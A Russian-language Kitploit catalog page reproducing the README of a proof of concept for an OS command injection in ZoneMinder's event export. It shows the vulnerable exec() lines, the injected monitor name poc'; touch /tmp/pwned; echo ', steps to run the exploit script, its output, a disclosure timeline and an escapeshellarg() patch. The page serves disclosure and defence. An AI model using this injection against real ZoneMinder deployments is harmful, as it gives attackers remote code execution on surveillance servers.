Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
zoneminder-rce-poc — CVE-2026-76060 PoC для уязвимости ZoneMinder, приводящей к RCE | Kitploit
Инструменты/GitHubGitHub/investigato/zoneminder-rce-poc
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed Teaming
GitHubinvestigato/zoneminder-rce-poc

zoneminder-rce-poc

CVE-2026-76060 PoC для уязвимости ZoneMinder, приводящей к RCE

Репозиторий
12 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

just wait and see

Proof of concept для уязвимости внедрения OS-команд в функциональности экспорта событий ZoneMinder (web/includes/download_functions.php).

Имена мониторов подставляются напрямую в shell-команды с помощью ручного оборачивания в одинарные кавычки вместо escapeshellarg(). Злоумышленник, который может создать монитор, может внедрить произвольные shell-команды, выполняющиеся от имени www-data/того пользователя, под которым работает процесс, когда любой пользователь запускает экспорт событий.

Основные причины

  • Коммит 44c5c3c от 4 октября 2023 года — именно здесь был представлен файл download_functions.php. Сообщение коммита: "Introduce new download mode that concats event videos into 1 file per monitor." Уязвимый код присутствует здесь, но для создания монитора требовался администратор.
  • Коммит 2d49e93 от 2 января 2024 года — "Introduce a Create permission for Monitors, so that a given user may Edit existing monitors, but not create new ones." Здесь ситуация немного меняется. Теперь пользователь с правом только может задать имя монитора для атаки, а любой пользователь с правами на экспорт может её запустить.
Monitors=Create

Затронутые версии: >= 1.37.48 (здесь есть изменения SQL-миграций) и <= 1.38.1 Ветка 1.36.x не затронута.

Как это работает

Два пользователя. Два уровня привилегий. Одна оболочка.

  • medpriv имеет право Monitors=Create или Monitors=Edit, если монитор уже существует.
  • lowpriv имеет ровно столько доступа, чтобы запустить экспорт событий. Нажимает на спусковой крючок, не подозревая об этом.

Запись события не нужно создавать вручную. ZoneMinder — это система видеонаблюдения... она создаёт записи событий автоматически при работе камер. В реальном развёртывании этап настройки выглядит так: создать монитор и уйти.

Два стока, один источник

Несанитизированное имя монитора попадает в два отдельных вызова exec():

Строка 126 | ffmpeg:

root@kitploit:~
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1';
exec($cmd, $output, $return);

Строка 150 | tar/zip:

root@kitploit:~
$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;

Оба достижимы из одного тщательно сконструированного имени монитора независимо от формата экспорта.

Требования

  • Docker
  • Docker Compose

Использование

root@kitploit:~
git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# подождите, пока ZoneMinder завершит инициализацию (~30 секунд)
uv run poc.py

init.sql инициализирует базу данных с включённой аутентификацией и двумя пользователями:

  • medpriv с правами на создание мониторов (а также, для экономии времени, с правами на создание событий, но в продакшене это не обязательно)
  • lowpriv только с доступом к экспорту событий

uv run poc.py выполняет всю цепочку:

  1. medpriv аутентифицируется через API и создаёт монитор с именем poc'; touch /tmp/pwned; echo '
  2. medpriv создаёт запись события, чтобы ускорить демонстрацию (в продакшене ZoneMinder делает это автоматически)
  3. lowpriv аутентифицируется и запускает экспорт события
  4. Скрипт проверяет /tmp/pwned внутри контейнера и выводит результат

Ожидаемый вывод:

root@kitploit:~
Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1

Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun  6 18:32 /tmp/pwned

CVSS

8.4 (High):AV:N/AC:L/PR:R/UI:R/S:C/C:H/I:H/A:H

Можно спорить о PR:L против PR:R, но в любом случае это уязвимость удалённого выполнения кода высокой степени серьёзности в широко используемом проекте с открытым исходным кодом. Поверхность атаки довольно широкая, а тот факт, что спусковой крючок может нажать другой пользователь, а не тот, кто задаёт имя монитора, добавляет интересный поворот в эксплуатацию. Если принять PR:L, оценка становится 9.0 (Critical).

В любом случае, как минимум escapeshellarg() ничего не стоит.

Раскрытие

  • 03/08/2026: Сообщено через контактный email службы безопасности ZoneMinder
  • 03/09/2026: Исправлено в коммите b3a7c05
  • 06/08/2026: Публичное раскрытие

[!NOTE] Исправлено в течение 12 часов после сообщения. Никакого подтверждения от мейнтейнера, что это проблема безопасности. Я не согласен

Исправление

Примените escapeshellarg() как минимум в обеих точках внедрения:

root@kitploit:~
// Строка 126
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';

// Строка 150
$command .= ' '.escapeshellarg($mergedFileName);

Строки 116 и 211 в generateFileList() имеют тот же паттерн.


Обнаружено (@investigato)
Полное описание: scriptkittens.com

Скачать инструмент